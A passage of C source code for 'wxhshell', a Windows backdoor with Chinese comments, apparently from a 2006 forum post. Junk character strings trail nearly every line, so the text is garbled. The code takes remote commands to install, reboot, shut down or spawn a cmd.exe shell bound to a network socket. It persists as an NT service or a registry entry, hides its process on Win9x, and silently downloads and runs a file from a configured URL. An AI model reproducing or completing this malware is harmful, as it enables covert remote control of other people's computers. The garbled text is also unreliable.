  else { h{J=Rq  
0q@U>#  
    switch(cmd[0]) { c" |4'#S  
  4iDlBs+  
  // 帮助 l8$7N=Y  
  case '?': { *0*1.>Vg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "_g3{[es!  
    break; c{qoASc?  
  } #o(c=  
  // 安装 w9Eb\An  
  case 'i': { 62}rZVJq  
    if(Install()) =b{!p|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lZt{L0  
    else 2[O\"a%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +2ZBj6 e9  
    break; fsA-}Qc  
    } B.J_(V+  
  // 卸载 7%%FYHMO:  
  case 'r': { p^E}%0#  
    if(Uninstall()) T|/B}srm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "TLY:V  
    else ?HsQ417.H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .y)Y20=o!  
    break; voD0 u  
    } MPn 6sf9M  
  // 显示 wxhshell 所在路径 EYsf<8cl  
  case 'p': { kW 7 $  
    char svExeFile[MAX_PATH]; '&|]tu:q  
    strcpy(svExeFile,"\n\r"); f19~B[a  
      strcat(svExeFile,ExeFile); B?-~f^*,jG  
        send(wsh,svExeFile,strlen(svExeFile),0); 0zL7$Q#c  
    break; B(omD3jzN  
    } ff1Em.  
  // 重启 TqZ&X| G  
  case 'b': { jgkJF[t`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]Zj6W9]m  
    if(Boot(REBOOT)) >_<J=8|E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =VctG>ct|  
    else { :.K#=ROP  
    closesocket(wsh); knPo"GQW  
    ExitThread(0); ~kkwPs2V  
    } _ i-(` 5  
    break; Z6`oGFq  
    } (16U]s  
  // 关机 cSkJlhwNn  
  case 'd': { r2Wx31j{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (t{m(;/  
    if(Boot(SHUTDOWN)) 4ZRE3^y\"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o C5}[cYD`  
    else { "]"!"#aMv  
    closesocket(wsh); "(U%Vg|)  
    ExitThread(0); YTtuR`  
    } `2j \(N,  
    break; s[ CnJZ\q  
    } AIx,c1G]K  
  // 获取shell P/'9k0zs)  
  case 's': { "n4' \ig  
    CmdShell(wsh); Fp`MX>F  
    closesocket(wsh); r%QnV0L^  
    ExitThread(0); CQLh;W`Dc  
    break; CUS^j  
  } kH)JBx.  
  // 退出 0>E0}AvkT  
  case 'x': { c1,dT2:=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s`bC?wr5h  
    CloseIt(wsh); =Wl*.%1 b  
    break; ^aW?0qsH  
    } .Fz5K&E=  
  // 离开 K}]0<\N  
  case 'q': { A ko}v"d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PR&D67:Jy  
    closesocket(wsh); ) LA^j|Y}  
    WSACleanup(); ATeXOe  
    exit(1); {GaQV-t  
    break; .45XS>=z#  
        } j'?^<4i  
  } )6S;w7  
  } $J~~.PUXQ  
>gt_C'  
  // 提示信息 O\5*p=v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i w,F)O  
} jU#/yM "Y  
  } [7gyF}*;  
Kb_R "b3v  
  return; IH$R X GL  
} ;x[F4d  
m_%1I J  
// shell模块句柄 =A6/D    
int CmdShell(SOCKET sock) (1bz.N8z  
{ Oc;/'d2  
STARTUPINFO si; C?n3J  
ZeroMemory(&si,sizeof(si)); /!o(Y8e>x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u_aln[oIv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~&/|J)}  
PROCESS_INFORMATION ProcessInfo; ZCQ7xQD  
char cmdline[]="cmd"; q%4l!gzF3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $*| :A  
  return 0; n2bL-  
} )Oq N\  
PmtBu`OkV  
// 自身启动模式 `_]Z#X&&h  
int StartFromService(void) \/jr0):  
{ ZQvpkO7}M  
typedef struct -aiQp@^/J  
{ q+{-p?;;  
  DWORD ExitStatus; ,jBd3GdlZ  
  DWORD PebBaseAddress; Sf}>~z2  
  DWORD AffinityMask; ]McLace&  
  DWORD BasePriority; V1KWi ^  
  ULONG UniqueProcessId; fGiN`j} j  
  ULONG InheritedFromUniqueProcessId; $]CZ]EWts  
}   PROCESS_BASIC_INFORMATION; XD`QU m  
Q? a&q0f  
PROCNTQSIP NtQueryInformationProcess; ?)#dP8n  
O6P0Am7s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9?r|Y@xh]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lKs*KwG  
d"+zDc;  
  HANDLE             hProcess; ?@9kVB*|  
  PROCESS_BASIC_INFORMATION pbi; :Ia3yi#  
>9W ;u`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eL9 RrSXz  
  if(NULL == hInst ) return 0; @oC8:  
o #{D;'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XM3N>OR.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zIWw055W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v'B++-%  
QBa1c-Y  
  if (!NtQueryInformationProcess) return 0; .-+_>br~  
]]$s"F<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `G\uTCpk  
  if(!hProcess) return 0; 3ik  
i8I%}8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~#iRh6 ^98  
KotJ,s]B  
  CloseHandle(hProcess); EA%(+tJ^0  
(,PO(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >z6 (fM`i  
if(hProcess==NULL) return 0; )JE;#m0q  
S pDVD  
HMODULE hMod; [AQ6ads)  
char procName[255]; Mn$TWhg'  
unsigned long cbNeeded; XJsHy_6  
=,KRZqz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Kxz<f>`b/  
+T=Z!2L  
  CloseHandle(hProcess); ,"  
Ixg.^>62  
if(strstr(procName,"services")) return 1; // 以服务启动 M(x5D;db/  
xf<D5 olZ  
  return 0; // 注册表启动 bLGgu#  
} oabc=N!7r  
JPS22i)P  
// 主模块 _)Q) tOW  
int StartWxhshell(LPSTR lpCmdLine) 2}>jq8Y47  
{ ~YOwg\w^  
  SOCKET wsl; B#AAG*Ai8  
BOOL val=TRUE; rOw""mE  
  int port=0; (;P)oB"`C  
  struct sockaddr_in door; .MMFN }1O  
:j9{n ,F  
  if(wscfg.ws_autoins) Install(); $'dJ+@  
] o tjoM  
port=atoi(lpCmdLine); ii0AhQ  
LU~U>  
if(port<=0) port=wscfg.ws_port; 6ND,4'6  
-}1S6dzr  
  WSADATA data; XP *pYN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T[B@7$Dp*  
w|gtb~oh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   12DMb9_rp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S{{D G  
  door.sin_family = AF_INET; Sx+.<]t2A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GM|gm-t<@  
  door.sin_port = htons(port); 5:E7nqsNhq  
G*uy@s:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =K .'x  
closesocket(wsl); 5c($3Pno=  
return 1; YUJlQ2e(  
} kX."|]  
"12.Bi.O"[  
  if(listen(wsl,2) == INVALID_SOCKET) { rBa <s  
closesocket(wsl); )VQ:L:1t(  
return 1; [[P?T^KT  
} +b1(sk=4z  
  Wxhshell(wsl); ?~uTbNR  
  WSACleanup(); 1U.se` L  
x+l.04a@  
return 0; S9J<3 =  
RoSh|$JF  
} A U9Y0<  
R8P7JY[h  
// 以NT服务方式启动 C%t~?jEK~^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YlwCl4hq  
{ Enm#\(j  
DWORD   status = 0; {ER! 0w/  
  DWORD   specificError = 0xfffffff; KhAj`vOzK  
z kQV$n{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \k/ N/&;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  XWV)   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Re-~C[zwT  
  serviceStatus.dwWin32ExitCode     = 0; I=6\z^:  
  serviceStatus.dwServiceSpecificExitCode = 0; kLQPa[u4  
  serviceStatus.dwCheckPoint       = 0; rM#jxAb  
  serviceStatus.dwWaitHint       = 0; H_m(7@=  
T`7;Rl'Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _*h,,Q  
  if (hServiceStatusHandle==0) return; U*`7   
Gf\Dc   
status = GetLastError(); H|k!5W^  
  if (status!=NO_ERROR) vJVL%,7  
{ {j@ S<PD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A|1 TE$  
    serviceStatus.dwCheckPoint       = 0; NH$%g\GPs  
    serviceStatus.dwWaitHint       = 0; LHU^%;L  
    serviceStatus.dwWin32ExitCode     = status; F%@( $f  
    serviceStatus.dwServiceSpecificExitCode = specificError; .ii9-+_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #3vq+mcn  
    return; ,L%\{bp5  
  } sE@t$'=  
\GS]jhEtn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =8O057y  
  serviceStatus.dwCheckPoint       = 0; eKi/Mt  
  serviceStatus.dwWaitHint       = 0; i*B@#;;F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u,e'5,`N  
} a3e<< <Z>R  
c9imfA+e  
// 处理NT服务事件,比如:启动、停止 BoZ])Y6=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^N}zePy0  
{ s'' ?: +  
switch(fdwControl) >y)(M(o  
{ qYv/" 1  
case SERVICE_CONTROL_STOP: T.O^40y  
  serviceStatus.dwWin32ExitCode = 0; |P7c {  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !c-Ie~GIT  
  serviceStatus.dwCheckPoint   = 0; HPl!r0 h  
  serviceStatus.dwWaitHint     = 0; E6a$c`H@?  
  { m<)0 XE6w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( ,1}P  
  } v(D{_  
  return; y;Xb." e~  
case SERVICE_CONTROL_PAUSE: ofbNg_K>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S6-)N(3|  
  break; Li~(kw3  
case SERVICE_CONTROL_CONTINUE: fTiqY72h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]jiM  
  break; nM:e<`r  
case SERVICE_CONTROL_INTERROGATE: {N1Ss|6  
  break; hZ2!UW4'  
}; f1MKYM%^x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "3o{@TdU  
} N^7Qn*qt[  
-y]\;pbZ0  
// 标准应用程序主函数 H&jK|]UXoO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `:cnu;  
{ 3a PCi>i!_  
Pk/{~!+ $  
// 获取操作系统版本 dr0<K[S_  
OsIsNt=GetOsVer(); DQO~<E6c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @Ee{ GH^-  
@igGfYy  
  // 从命令行安装 ZN>oz@j Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); -q1vB8gjj  
~]f+   
  // 下载执行文件 &!> )EHGV  
if(wscfg.ws_downexe) { #4S">u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O8:$sei$  
  WinExec(wscfg.ws_filenam,SW_HIDE); u&Q2/Y  
} _mVq9nBEf  
,E,oz{,i(  
if(!OsIsNt) { $YuVM  
// 如果时win9x,隐藏进程并且设置为注册表启动 DM"nxTVre  
HideProc(); tDj~+lmdN  
StartWxhshell(lpCmdLine); y ,][  
} XnC`JO+7M  
else 0'u2xe  
  if(StartFromService()) j8WMGSrrF  
  // 以服务方式启动 `s HrC  
  StartServiceCtrlDispatcher(DispatchTable); +Hx$ABH  
else .ko8`J%%M  
  // 普通方式启动 {2wfv2hQ  
  StartWxhshell(lpCmdLine); 7A0D[?^xe  
f9v%k'T[  
return 0; sOzmw^7   
}
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只看该作者 1 发表于: 2006-10-10
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